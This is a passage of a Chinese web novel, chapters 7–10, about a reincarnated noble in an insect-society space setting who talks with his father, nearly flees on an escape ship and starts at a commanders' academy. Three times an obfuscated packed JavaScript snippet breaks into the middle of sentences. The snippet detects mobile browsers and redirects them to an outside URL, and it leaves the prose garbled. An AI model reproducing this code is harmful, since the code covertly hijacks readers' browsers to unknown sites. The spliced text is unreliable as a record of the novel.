《警惕雄虫劣等生!》 7. chapter007 *chapter007* *两眼一睁就是装* 一分钟前。 温德夏特捧着热乎的红糖馒头,翘脚望向屋内,“莱利,你说那位就是我雄父?” “是的。” “看着好凶啊…”温德夏特啧啧几声,又问,“他不应该很忙吗?” “当然。首席阁下平时很少与家里联系,这次应该是有什么重要的事情要嘱咐,或者是听闻您出事了才……” 温德夏特“嗯”一声,背起右手,老神在在窥视着屋内的巨大光屏。 帅气老男人,首席指挥官,尤西斯·康曼德,我爹。 熟悉的黑发绿瞳,长相倒不凶,柔弱干练有脑子,主要是目光太凶横。 温德夏特带着看热闹的心态围观,虽然听不见声音,但兴致丝毫未减。 这是他第一次见自己那天骄弟弟吃瘪,看得极其投入,身临其境。 雄父拍桌而起的时候,温德夏特也一个震颤;两虫无言对峙的时候,温德夏特也跟着紧张。 然后他看到,光屏里的雄虫忽然逗狗似的对自己勾了勾指头。 温德夏特脸上丰富的表情瞬间隐去了。 他把剩下的三分之一个馒头塞嘴里,夹着衣服就要跑,卡修回头眼神一横,莱利当即接收,不着痕迹地侧身拦路: “阁下,首席想见您。” 温德夏特轻推莱利胳膊,不想硬如磐石,他是铁心不放人。 这么一耽误,卡修也到位了。一雌一雄,一左一右,像地府门口气势汹汹的黑白无常,硬生生把自己往阎王爷前挤。 “兄长,你醒了。” 卡修如往日一样面挂微笑,掏出帕子擦过温德夏特嘴角,压低声嘱咐,“你翻墙的事情我没有说,你也别说。” 卡修侧身让出一条道来,“好好表现,别让他担心。” 温德夏特嘴里噎着馒头,什么反驳的话都说不出,硬着头皮走到房间中央。 “嘎达”一声,门被无情关上。 门外,卡修深深呼出一口气,双臂垂直放松,倚墙站立,如释重负,“莱利,他昨晚又去给谁开香槟塔了?” 莱利摇头,“夜总会那边没有温德夏特阁下造访的记录。” 卡修有些诧异,“那去了哪儿?” “还没查到。” “……算了,不再查了。”卡修舔了舔干涩的唇,“人及时回来就好。” 两虫侧目看去,会议室中,温德夏特的腮帮子一鼓一鼓,显然是故意放缓了咀嚼的速度。 偏偏光屏中的雄虫也不催促,眼波柔情似水。 “你眼睛跟你雌父的一模一样。” 雄虫突然出声,温德夏特吓一激灵,不自在换了个姿势,躬身作揖,“雄父。” “哎呦小乖,听说你前几天受伤了,心疼死我了,现在怎么样啊?” …? 他的这位爹是有什么精神分裂吗? 温德夏特稍一晃神,缓缓抬头,谨慎答道:“恢复得很好,您不用担心。” “好好,那就好……”雄虫关切地问,“你这几天过得如何?” “呃…一般就是早上七八点起床……” “好自律!” “起床后吃个早饭,昨天是小西红柿,黄油煎鱼和两片吐司,今天吃了肉夹馍和红糖馒头,还有碗沙拉没吃完。” “天呐,真会搭配,营养又美味——” “是莱利帮我搭配的。” “挑虫有眼光,天赐的统筹管理能力。” “然后我会去古堡后花园转一转。” “情调拉满——” “然后回来看书,大概率不出十分钟就睡着了。” “劳逸结合——” “直到晚饭时间,仆人把我喊醒,我用完餐后就犯困,学也学不进去,干脆直接洗洗漱休息了。” “噢天呐,好充实健康的一天!” 温德夏特懵了。 几辈子来,鲜少有人这样无脑地偏袒自己。 啊,他突然想起来,原来网页上那条过分夸奖他的评论不是在阴阳怪气。 是父亲。 温德夏特多了些底气,半仰头盯着光屏,重新打量对面的雄虫。 灰色T恤,七芒星红徽章,脸上花着机油与血迹,双目熬得赤红,难掩疲态,但面对自己时还是强打起了十二分精神。 再看背景。 简陋的播音器,急救包,迸溅的血液,显然是临时搭建的驻地。身后悬着一块劣质白板,悠悠摇摆,吱呀叫唤。 诶等等—— 温德夏特目光猝然一顿。 白板上的照片—— 温德夏特喉咙微动,指了指,“雄父,你身后挂着的那个长条怪物是什么?我好像从没在学术期刊里看到过。” “噢小乖,你当然看不到,这对外是绝密的。” 雄虫似乎怕把温德夏特吓到,快速将照片扯下来,倒扣在桌面,“只是一个新发现的异种,离你的生活很远,不用担心。” 温德夏特视线追随着照片,恨不得长出一双透视眼,“那可遭了,那家伙看上去很棘手。” “也不尽然,”雄虫没有详细解释下去的意思,“一切都在掌握之中。” 温德夏特顿了顿,语气坚定,“雄父,我想要与它相关的所有资——” “啪——啪!” 对面大灯兀的闪跳,随即彻底熄灭。 光屏那头遁入浓腻的黑暗,逼仄感侵压而来。 “Attention:临时基地遭遇突袭!全体成员做好战斗准备!” 雄虫反应极快,伸手“噼里啪啦”撞翻一桌的杂物,够到光脑,揽进怀里。 此刻屏幕微弱的光才堪堪照亮雄虫的面庞,他神色淡淡,一如既往地冷静,“我这边要处理点事,先下了。” 温德夏特仰头张望,只撞进一片深绿色的瞳孔。 “小乖,要好好生活,要自由幸福。” “父——” 【通话已结束,时长12:43。】 门外的人似乎在时刻关注着里面,通话刚断,卡修和莱利就前后脚进了屋。 温德夏特转头关切,“父亲他那边怎么了?” “没事,几乎每次视频都会以这种方式结束。” “啊…那就好…”温德夏特松了口气,感叹,“他对我可真好。” “因为他当初爱的是你雌父,一个土生土长的康曼德家族雌虫。”卡修说,“那位死后,他就只爱你。” 温德夏特瞪眼,“近亲繁殖?” 卡修嗤笑,“你以为康曼德家族只有几百几千个人吗?基因缺陷撞在一起的几率很小,何况…那个之前还会做很详细的测序检查。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357198|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “原来如此。”温德夏特点头应下,小心翼翼地问,“小修,你不怪我吗?” 卡修的眼神难得有些波动,“怪你干什么,你的软弱无能正合我意。” 温德夏特又指指光脑,“那你不怪他吗?” “…父亲那代只有他一个雄虫,即使掌权也难逃联姻的命运。” 卡修自嘲似的笑笑,“万人之上,一人孤寂。站在那个位置,宇宙中便没人有资格对他指手画脚。” “因为权利?” “不,因为责任。”卡修垂眸,“等我们毕业入役后你就知道了,首席们所失去的远比我们想象得多。” 卡修联想到什么,忽然抬头,饶有兴致盯向温德夏特,“哦对,差点忘了,你能不能毕业还是个问题,入伍对你来说简直是天方夜谭。” “…喂。” 不要随便小瞧人啊! 虽然你说得是实话哈! 卡修眼珠一转,开始结算旧账,“话说回来,你是怎么出去的?” 温德夏特努嘴沉默。 “你不说话,我就只好把所有我认为不称职的雌侍都辞掉了。” …随你,又不关我事。 卡修恶魔低语:“你知道么,被主家辞退的雌虫很难继续生存。这个星球上再没有工位会收留他们,他们只能偷渡去其他星球当黑户,要是遇见什么排外的星球,受尽欺辱,连死都是奢侈。跟现在古堡里丰衣足食的生活一对比,那叫一个凄惨呦……” “翻墙!”温德夏特打断他,“我翻墙出去的!” “不错,连墙都能翻,看来身体是完全好了。” 卡修谈不上气恼,甚至心情愉悦,一挑眉,“既然恢复了,那今天下午就跟我一起返校吧。” 不等温德夏特反驳,卡修抬脚翩翩离开。 温德夏特迅速消化了下午要返校的事。实际上,他心不在焉,因为几乎全部的思绪都被刚刚那张照片勾走了。 那是他前世死前遇到的怪物。 异种?异种…… 温德夏特内心默念,声音沉静,“莱利,把这次通话的视频发给我。” 莱利为难道:“阁下,按理说,首席阁下的所有通话都是S级别加密,我们没权限私存。” 温德夏特无辜眨眼,转头看他,双手合十,“你一定可以办到的吧,莱利?我难以或缺的左膀右臂,我的天才小情报员……” 莱利面颊熏出红晕,羞嗔:“阁下!” 温德夏特眼里水光潋滟,“你愿意吗,莱利?我没有其他的目的,只是想常看看我的父亲…你知道的,我笨拙又莽撞,世上没什么人疼我。我苦苦追求的人恨我,碍于身份不情不愿地吹捧我,其实我心里都清楚。有时我也觉得荒唐,恨不得拆穿所有人的真面目,但转念一想,这样至少还有表面上的慰藉,海市蜃楼总比黄沙一片好,对吧?” 莱利惊愕地勾起温德夏特袖口,他从没想过雄虫私下会想这么多! 他急匆匆安慰,“不是的,阁下……” 温德夏特蹙眉望住他,使出必杀技,“莱利,连你当初选择我也是因为小修。” 莱利呼吸一窒,只觉得说什么都无力。 温德夏特反手握住莱利手腕,恳切道:“帮帮我吧……你愿意吗?” “阁下,我、我愿意!” 为了您,我愿意奉献所有。 8. chapter008 *chapter008* *算了,争口气* 想拿到这种级别的加密信息,即使是莱利也要费一番功夫。好在连线视频的原机光脑就在手边,操作起来相当方便。 接待室内没有监控,雌虫在温德夏特笑眼的注视下黑入了设备,分分钟导出视频,空投传送,清理入侵痕迹,一气呵成。 “这就好啦?” 莱利点头。 “棒!” 温德夏特抓住莱利转圈圈,“莱宝,你真厉害——” 莱利趔趄着陪他晃,双耳飞红,低头嚅嗫:“阁下,以后还请不要再说那样伤人的话了,世上爱您的人数不胜数。” 温德夏特停下来,歪了歪头,“真的吗?” “真的!” 莱利仍不敢直视雄虫,眨眼的频率极快,“现在还早,您快去休息吧,时间不等人,我们下午就要返校了。” 温德夏特扬起唇,懒散又乖巧地回话:“好哦。” 莱利觉得自己大概是发烧了。头昏脑胀,步伐漂浮,把温德夏特请到卧室门口,逃一样地跑走了。 温德夏特盯了会儿光脑,盯着害死自己的怪物,杀意太过坚定,导致他没什么多余的情绪,不再折腾,直接睡觉。 要是搁上辈子,一夜不睡屁事没有,但放到现在,这薄身板确实有点遭不住。 后面几个小时,他昏睡过去,宛如一具尸体。 莱利中途来过一次,将他轻声喊醒,问他要不要提前起床梳妆打扮。 温德夏特迷迷瞪瞪望向门口,只见雌虫揽着俩塑料头模,左边顶红毛,右边顶绿毛。 这一幕乍看古怪又好笑,无论放进恐怖片还是搞笑片都不违和。温德夏特摆摆手,哼唧一声,蒙头继续睡了。 莱利也识趣,不多打扰,径自下定主意,把假发保护好放进行囊。 他记得很清楚,这是阁下最常用的两款。 温德夏特再睁眼,身旁已经黑得伸手不见五指。 他以为是自己一觉睡到了深夜,脑袋伸窗外一望才发现,是巨大的星舰霸占了古堡上空。 他打个激灵,睡意全无。 我靠…好他妈帅啊!! 银白的舰体破开云雾,底部镌刻着独属指挥官的七芒星图样,百米长的悬梯侵压而下,直达地面。 温德夏特三两步冲到一楼大厅,人潮汹涌,几乎整座古堡的人都到场了。大包小包极工整地摆在架子上,由雌侍像工蚁一样一个接一个拎走。 温德夏特出场时,雌侍们异口同声:“大少爷好!” 温德夏特被音波震得后撤半步,随即抬臂颔首,以作回应。 卡修闻声望去,“醒了?正好现在时间也差不多,启程吧。” 温德夏特撸起袖子,“走!” 他上前往中间走,也准备去拿一个包裹。 卡修不明所以,“你干什么?” 温德夏特单手一拎,“提行李啊。” “你可别乱动,这些都是我的藏书。”卡修两根指头把包裹压下,眼神示意旁边的雌侍来拿,“我又不给你发钱,你瞎献什么殷勤。” 在听到这话之前,温德夏特是没想着收费的。不过经此提醒,他突然想起前身那一屁.股债务,手头抓得更紧,眼里期盼闪星星,“…要不发点?” 卡修懒得搭理,扭头就走。 温德夏特还不肯放弃,对卡修的背影扯嗓子,“好弟弟!要不发点?价格好说啊!我实惠又亲民啊!” 卡修连头都没回,走得坚定。 莱利哭笑不得,从底下托起行李,嗔笑,“您快别跟他们抢饭碗了,这工作按份计价呢。” 温德夏特扁扁嘴,松手了。 他紧紧跟随卡修的步伐,乘电梯登舰,紧挨他身旁坐下。 光是这几分钟,温德夏特就深深体会到了出身家族的优越性。 与一个家族难以想象的巨额财富相比,个体不过是一个小碎片、一颗毫不起眼的苍蝇屎。 自己上辈子在机械领域的小小成绩,全靠各处拾来的设备拼凑而成。不像现在,指尖划过的地方全是高级金属。 温德夏特目光热切,恨不能扣点下来。 “鬼鬼祟祟干什么呢?”卡修上下扫视。 “没什么。”温德夏特乖巧坐好。 卡修不再追问,从沙发一侧翻出个薄毯,盖到自己膝上,“路程不近,估计要两个多小时,你大可以继续睡。” 温德夏特点头,又摇头,“我不困了。” 卡修把毯子拉到脖颈的高度,裹成蛹,放倒椅背,“那我要睡,你别太吵。” 温德夏特点头,意识到卡修现在看不见自己,又出声应了一遍: “好。” 微乎其微的震动过后,提示音响起,星舰起航。 温德夏特眼睁睁看着窗外景物突变,上一秒眼前还是熟悉的古堡,现在就已经看不真切了。康曼德星球上的斑斓都化作了白光,跟附近几颗小星球一起,闪烁着奔流进无垠的宇宙。 震撼是肯定的。他苦哈哈活了两辈子,没一次真正进入太空。忽然间坐上了宇宙飞船,眨眼跨越上万公里,美感与激情奔流而上,震得他双眼放光。 大概看了十分钟,温德夏特闲不住,踱出房门四处溜达。 他走得很慢,几乎每走一步,就有一些新的东西映入眼帘。 “会议室…” “储物室…” “…嗯?大床房?” “…备用逃生星舰入口。” 他在此驻足。 温德夏特环顾四周,走廊没人,侧房没人,入目处冷清干净。 目光兜兜转转,最终落到门把手上。 这是自由在招手啊! 他承认自己之前在自家星球上尝试离家出走有点莽撞,但康曼德家族的势力再怎么强大,地幅再怎么辽阔,也不可能覆盖整座星系吧? 何况据他观察,雌虫与雄虫的外观并没有太明显的区别,自己日后谨慎一点,完全可以做到隐于众人。 要知道,逃生星舰上可没有定位器。 这一走,就能彻底溜之大吉。 温德夏特原地站定,双手紧握成拳,抬臂,伸指,食指几乎要挨上入口的开关,停在最后一厘米,没了继续的勇气。 他一直都清楚,所谓“家族”其实就是块老太太的裹脚布,又臭又长,难缠得很。他一个人自由惯了,早就想远离纷争,恢复自由身。现在真叫他碰见了绝佳的机会,心底却突然涌上一股诡异的情绪,连温德夏特自己都说不清楚是什么。 可能是亲人,可能是偏爱,也可能是那些数不清的钱。 他上辈子都未曾拥有过的东西。 啧,自己以前绝对不会这么优柔寡断。 温德夏特侧身靠墙,点开光脑相册。放大,放大。 还有这个异种…… 如果放弃现在的身份,没了家族的助力,自己不可能单枪匹马报仇雪恨。 不手刃了它实在不解气! 温德夏特越看火越大,心里矛来盾去,一条不合时宜的提示弹窗突然出现: 【您已经一周没有写日记啦!不要犯懒,快来看看吧~】 温德夏特顺手就点了进去。 入眼处字迹潦草,密密麻麻。他随意挑了几页翻看。 [今天依然是无尽的、绝望的煎熬。喝酒去了。] [被梅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357199|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 克尔拒绝66次了,还挺吉利!喝酒去了!] [放假了,不想回家啊,不想回家…喝点酒去。] [康曼德大少爷,这身份放我身上,一边是不幸,一边又是万幸。我真的搞不懂,为什么我的精神力能烂成一坨屎,卡修却那么天才…是基因吗?对了,卡修的雌父特厉害,大机械师。我的雌父应该平平无奇,在我睁眼之前他就咽气了,再…再来一杯干马天尼……] [我最近发现了个逃避的好方法。假发一戴,美瞳一戳,谁都不觉得我是什么贵公子了。 大家都躲着我走,非常鄙夷却又有些敬畏,不喜欢又不太敢议论,只是到处躲着不与我照面,毕竟我没有伤害过任何人。 我有点爱上别人真诚的贬低了,毫无负担啊!毫无负担!喝酒!] [咋办,父亲爱我,弟弟也爱我,是我自己不争气,不配当康曼德家族的嫡子。我贪财好色,我骄奢淫逸,我软弱无用,我不学无术。期末笔试的时候,我醉得一塌糊涂,像个猴子一样在打字机上乱摁一通,哈,果然没过。 要我说,全世界都该死,其中属我最该死……喝酒、喝酒……] [至高无上的虫神啊,我敬你十杯!如果你真的存在,就帮我一个小忙吧——我愿意以灵魂和烈酒作为代价,请您将荣誉与智慧加诸我身!] 虽然有些中二,但字字词词凝着悲怆……和酒气。 温德夏特连看了两遍,一时怔忪。 “真是…死酒鬼。” 他沉默了一阵。 “哼,我才不信什么神啊鬼啊。管你跳楼时怎么想,我是自私自利,你是自作自受!” 温德夏特突然发狠,双眼凌厉又阴鸷,一指禅飞速接近开关,恨不得将那按钮开膛破肚。 他想要自由,想要落俗,可如此却都没有落处。 手指僵在空中。 “……操。” 温德夏特向一侧的墙面锤去,“操!” 他就不该手贱点进那个提示弹窗! 好了,现在好了,自己那为数不多的道德又开始限制他的行动了! 温德夏特浑身泄了力,势气大减,垂头回到休息室。 卡修此时已经清醒,坐起身,“刚刚干嘛去了?” 温德夏特愤愤,“瞎溜达!” “那怎么回来了?” “睡觉!” 卡修揪着不放,“你不是不困吗?” 温德夏特心里郁结,没再答话,反问:“你不是困吗?” “困了就睡!”温德夏特攥紧被子狠狠揉掐,掰正卡修腰身,强行将他摁进柔软的椅背,“别多问了,都睡!” 卡修乖顺得一言不发,只咯咯地乐,好半晌才开腔:“不就是把你提溜去了学校吗?瞧给你气的。” 温德夏特翻过身去,背对卡修,“没气那个。” 卡修显然没信,窸窸窣窣掏出个东西,“黑卡,二十万。” 温德夏特翻身回来,赤诚抬眼。 变脸快得堪比戏法。 “雄父给的慰问费。”卡修憋了憋,忍了忍,噗嗤大笑,“真看不得你那望眼欲穿的没出息样,快收着吧!” 温德夏特倾身用力抱住卡修,不动声色地把黑卡装进自己口袋里,鼓嘴吐息,似乎下定了某种决心。 钱倒是其次,他很喜欢有亲人的感觉,这样亲昵,被笃定地爱,有底气地肆无忌惮。 温德夏特咬唇,把头埋进卡修颈窝里。 算了,好歹接管了原主的身子,给他争口气也没什么。 那就从今天开始,从现在开始,努力做个优等生吧! 那时的温德夏特还不知道,日后的大场面,他再没站过边边角角。 9. chapter009 *chapter009* *别来给我炫富,我又不识货* 圣奥古斯丁贵族学院,星际港口。 飞舰到达时已是中午,碧空如洗,正好赶上指挥系全体午休。兄弟俩用完餐后简单休整,卡修悠哉悠哉从兜里掏出张卡片。 温德夏特凑过来,“这又是什么,白金卡?” “大中午做什么美梦呢?是你的成绩单。” 卡修笑骂着把温德夏特推开,手背到身后,“一个好消息一个坏消息,想先听哪个?” 温德夏特没犹豫,“好消息!” “你是第一。” 温德夏特大感不妙,目光警戒,“那坏消息呢?” “倒数第一。” 卡修把成绩单交给他,上面只有三行字: 温德夏特·康曼德; 缺考; F。 温德夏特瞥了一眼就收进口袋,似乎无语凝噎,不愿再看。 果然是劣等生开局。 “不过除你之外,另有三个虫也缺考了,所以应该算是并列倒数第一。” 卡修没多为难他,抬手一指,“F班在416,从那个电梯上去,四楼出,正对着的就是。你应该知道吧?跟你上学期教室的位置一模一样。” 卡修说罢就转身要走,被温德夏特伸手截胡。 “诶、诶等等!马上开课了,小修你还要去干嘛?” 卡修把温德夏特的手指一根一根掰开,“我的模拟考核成绩是A,自然是去A班。” 温德夏特一愣,“你这几天不也一直在古堡里吗?” “线上考核。”卡修言简意赅,“成绩按85%计入,不过影响不大,我侥幸踩着A班尾巴进去的。” “你85分?” 卡修嘚瑟,“84。” “好嘛…那你走吧。” 温德夏特咂咂嘴,“我会想你的。” “不用想,每天晚八点到十点我会去你宿舍找你。” 卡修顿了顿,补充,“自习。” 温德夏特:“?” 我就客气一下,你这是在干什么。 “你之前说过要改过自新好好学习的,我信不过,打算亲自去验验货,不可以吗?” 虽是问句,但温德夏特显然没什么拒绝的余地,“可以可以,当然可以。” “那么,我们晚上见。” 温德夏特缩脖,挤出个谄媚笑容以作回应。 与卡修分开后,温德夏特径直向电梯间走去。 路径莫名变得熟悉,梯门一开,温德夏特不紧不慢进班,一个恍惚,有些惊疑,退出班门又确认了一遍。 确实是416。 温德夏特怀揣着怪异心情再次踏进班级,不动声色地观察。 实话实说,这群胖子是他这两辈子见过的最丑的人。 哦不,虫。 平均下来,一个雄虫的占地面积顶普通雌虫四个。不是壮,而是单纯的胖。 那啤酒肚被桌面卡成两层,雄虫娴熟地扭动下半身,桌子被肚皮不断弹远,与地板摩擦,挤出些刺耳声响。 他们像是商量好了一样,统一地蓬头垢面臭气熏天,全身上下都覆着绒绒一层黄毛,油光锃亮,好像那扁矮蟠桃成了精。 温德夏特有点控制不住表情。 他自认不是什么颜控,但反复拉练这两辈子碰见的虫,实在挑不出来一个丑的,眼睛早就被养刁了。 现在落到如此处境,真是折磨。 温德夏特几乎绝望地转头,视线对上站台上还算正常的虫,“老师,请问座位是随便坐吗?” “对,你刚到吗?叫什么名字?” “温德夏特。”他重复道,“温德夏特·康曼德。” 老师看他的目光瞬间变了。 “我是你的班主任明蒂,随便选个座,先坐下吧。” 那群雄虫都一窝蜂挤在后排,温德夏特乐得清闲,稳稳坐进第一排中间。 班主任见温德夏特没往后走,面露讶色,试着补充:“如果想拷课件的话,用光脑连接那边的班级终端就可以了。” 温德夏特露出招牌笑容,沁虫心脾,“了解,谢谢老师。” 班主任下意识跟着笑,欣慰点头,感觉这小混世魔王根本没有同事嘴里说的那么恐怖嘛。 老师看一眼表,提高音量:“各位同学,集体午休即将结束,我先撤了,有任何问题都可以去级部办公室找我。大家稍安勿躁,任课老师马上就到!” 班主任上一秒刚踏出班级,那雄虫部队下一秒就汹汹而来。 他们的膝盖不堪重负地弓着,两条腿飞快交替,蹬车似的来到温德夏特面前。 一虫癞兮兮作揖,“呦,瞧瞧这是谁?大名鼎鼎的温德夏特大少爷!久仰、久仰啊!” 另一虫跟着挑逗,“很高兴见到活的你,我们用不用收走你的鞋带床单什么的,谨防少爷您再自杀?” “没必要。” 看见温德夏特冷脸,雄虫部队的恶意彻底不藏了,“喂,别这么冷淡嘛,你追那些雌虫的时候可不是这样的,哈巴狗似地跟在他们身后,也不嫌丢人,辱了我们雄虫的名声…” 这句听完,又连轴跟着其他嘲弄。窃窃私语声从四面八方向温德夏特涌来,瘌蛤h蟆扒脚背——不咬人,膈应人。 温德夏特低眉顺目地敷衍,内心毫无波澜。 幼稚死了。 相比上辈子每天生死不定的经历,这种不痛不痒的讽刺简直无足轻重。 温德夏特起身去拷贝课件。他一动,挨他最近的那雄虫也跟着动,装作无意在他面前晃了一下手腕。 动作幅度实在明显,不知道他意欲何为。 温德夏特视若无睹,继续自己的行程。两秒后,那雄虫小跑追上,吊着嗓子嚷: “哎哟,我这新光脑真是顶级货色!我爸四处托关系才联系上了D大设计师,专门定制的,全宇宙只此一款!其他虫,呵,管他是哪个世家的大少爷,通通只有眼馋的份儿!” 温德夏特闻言,瞬间了然于胸。 原来是来炫富的。 那富哥雄虫大声叫嚷:“都来瞧瞧!快瞧瞧!过了这个村可就没这个店了!” 光脑投影至空中,刹那间响起了此起彼伏的“哇……哇……”声,但温德夏特依旧没投去丝毫目光。 随他炫呗。 再怎么炫也炫不到我这儿,因为我压根就不识货。 其他虫扭着胯到位,“哇!我看这光脑的外壳光泽特殊,不会是特级青金制成的吧?” “正是!” “自带稳定磁场,防定位防窃听?” “不错!” “哇天哪,简直太厉害啦!” 这次雄虫没再搭腔,反而匪夷所思愣在原地。 因为这句话正出自温德夏特之口。 温德夏特本来没打算理他们,但拷完课件一转身,过道竟被围得水泄不通。 路堵住了,心气儿也堵住了,火气噌一下窜到头顶,喷薄而出。 温德夏特竖起俩大拇哥,漫天卷地挥动,带着满身赤诚夸赞: “太厉害啦,富哥儿!这设计师不愧是你爹花了大价钱请来的,光脑云纹跟你这一身肥胖纹真是相衬! “我已经通过这小小一副光脑看清了。你跟我遇到的其他雄虫都不一样,你拥有许多复杂而美丽的意象,许多隐晦而深刻的暗示。我觉得你是一个不可捉摸的谜,一个无法抗拒的诱惑。你站得高,无人理解,真寂寞呀!” 富哥雄虫被温德夏特吹得蒙头转向,分不清到底是夸赞还是讥讽,只见无数个大拇指在他眼前张牙舞爪,相互交叠。 他招架不住,忙扶椅背站稳身形。 好不容易稳住,耳根也清静了,他原本打算生气,但一看见温德夏特仰着小脸乐呵呵,就什么气都消了。 那睫毛又长又翘,精灵似的,能忽闪出风来,麻酥酥划过他心尖。 明艳而不媚俗,就那样嚣张地望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357200|152776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着你,简直比雌虫还勾人。 他喉头微动,鬼使神差答应:“你要是这么喜欢,我今晚去求求雄父,给你也定一副。” 富哥旁边的虫急了,拽着他肩膀前后晃,“阿飘,你他妈说什么呢!卡修让我们为难他,你他妈怎么倒打一耙了?” “噗——” “噗哈哈哈哈!” 温德夏特闻声望去,讲台上不知何时多出了一位雄虫。 “大家好,我是艾诺,你们的精神力入门老师。” 此话一出,闹剧结束,学生们通通归位。 “第一堂课很简单,理论课。” 艾诺老师反手一翻,掏出个红果子,放到富哥面前。 “这个苹果存在吗?” 富哥懵懵说:“存在。” “为什么?” “呃…我能看到它,也能摸到它。” “也就是说,它被你感知到了。”艾诺教授收回那个苹果,下令,“闭上眼睛。” “现在它还存在吗?” “存在。” “现在你既没有看到它,又没有摸到它,为什么还说它存在呢?” “因为我刚才看过摸过,而且我相信只要我睁开眼睛,伸出手,我就还能看见它,摸到它。” 艾诺老师拍拍他肩膀,“好,恭喜你,精神力入门了。” 他起步回到讲台,互动环节到此结束: “精神力,即思想的力量,这是一个很复杂的东西。它包括理性的思维、观念、知识、信仰,也包括非理性的情绪、情感、欲望、冲动。大家可以摸一摸自己后颈上的那个小凸起,这是我们雄虫独有的,位列耳、鼻、口、舌、身之外的第六感受器官——精神腺。” 温德夏特抬手去摸,果然有个不起眼的凸起。 “通过激发自己最神性的一面,我们能听到、看到、感受到原来用肉身无法体验的事物,将这种力量运用到极端,甚至可以直接与神沟通。” “精神力是所有力量的统御学科,因为它所要求的精神集中爆发是所有力量运作的本质。但我无法精确的告诉你们这种力量到底是用来做什么的,因为它什么都可以做得到。它是控制的学问,一切存在者,都必定可以通过精神的集中力建起一座连接之桥,而这桥,便是通灵……” “等等,老师,您是说我们可以与神沟通? “不是你们。”艾诺老师摇头,“这需要特定的基因,在我们星系,只有希尔家族的雄虫能做到。他们聆听神的旨意,看到神的视角,从而成为''先知'',快人一步推测出异种的爆发地。” “先知完全依仗通灵的能力,而我们作为指挥官,主要发展精神力的另外两种用途——命令与疏导。” “命令,顾名思义,我们可以依靠理性思维的能力破除感觉的蒙蔽,在混乱的战场上给我们的士兵指引正确的方向。精神力极强者,甚至可以无视雌虫本身的意志,像操控傀儡一样控制他的身体。当然,这种完全剥夺其自由权需要消耗海量的精神力,没几个指挥官能做到。” “疏导,则是战后恢复时不可或缺的一个环节。雌虫战士需要雄虫精神力的舒缓,否则战斗带来的精神污染累积起来足以致命,意志也将不再自由。” “老师,精神污染是指什么?” “雌虫作战时周遭暴力血腥,长时间的精神压力和精神紧绷可能导致侵入性思维的产生。入侵性思维进入个体意识时,通常毫无预兆,而且内容大多与负面信息和消极情绪相关,很影响作战。只有在雄虫疏通后才能恢复正常。” 温德夏特怔住。 原来是这样。 上辈子自己经常犯晕,明明是个安宁祥和的好日子,但心里就是不舒服。柔和的白光变得狰狞刺眼,清风像一把有锯齿的刀子顺着脊梁往下刮,他定在原地,缓一刻钟到一小时不定才能自如行动。 但他从没在意。 他们,从没在意。 在那个终生见不到雄虫的落后星系,雌虫们早已习以为常。 10. chapter010 *chapter010* *蒙您垂怜* “下一节是实践课,大家自行休息五分钟,我去把教具请过来。” 课间虽短,但温德夏特已经做好了迎接刁难的准备。 转头望去,雄虫们翘脚坐在教室后方,没有动身闹事的意思,只有那位富哥起身走来,盯着自己看了半天,欲言又止,最终干巴巴路过,去前门看了看风景。 艾诺老师回来时,身旁跟着一位萎靡的军雌。 “这是詹姆斯下士,一天前刚从前线归来。”艾诺老师侧身,“我们请他来简单介绍一下自己的情况。” 詹姆斯站定敬礼,他第一次同时看见这么多雄虫,紧张得有些僵硬。 “各位阁下好,我…我前不久参与了N28区剿灭B级异种的任务,不幸的是,我们小队几乎团灭了。” 雌虫的声音开始止不住地抖动。 “从剧痛中恢复神智时,映入眼帘的是我最好的朋友的尸体。他正以一种反虫体结构的姿势躺倒在地,四肢扭曲,血液棕黑,像油滴一样溅到脸上,脖子上,腿上。” “我立刻扑过去——去扒他的眼皮,整理他的军装,但是他的胸脯一动不动,告诉我不要再白费力气。之后,不知道我本来就想吐还是看见了好友这幅惨死的模样才想吐,总之“哇”的一声吐了出来,躺倒在一旁……” 有个雄虫嫌弃道:“一个躺在红艳艳的血泊里,一个躺在绿油油的呕吐物里,真是好朋友,恶心得相得益彰。” 另一虫笑闹着拍他肩膀,“快住嘴阿比托!太他妈恶心了!” “抱歉…阁下……”雌虫有些手足无措,求助似的望向艾诺老师。 “不,下士,你不用感到难堪。” 艾诺老师面色严肃,目光似飞刀,“一位优秀的指挥,应该倾尽所有可能去理解战士们所经历的一切!只有深入了解他们的苦痛,才能更好的帮助他们克服精神障碍。” 雄虫不吃这套,掐着嗓音说:“老师~我们可是F班诶,但凡我们有一点点想要成为优秀指挥的想法,努力那么一点点,都不可能被排进这个班里吧?” “这一点,您应该也清楚吧?” 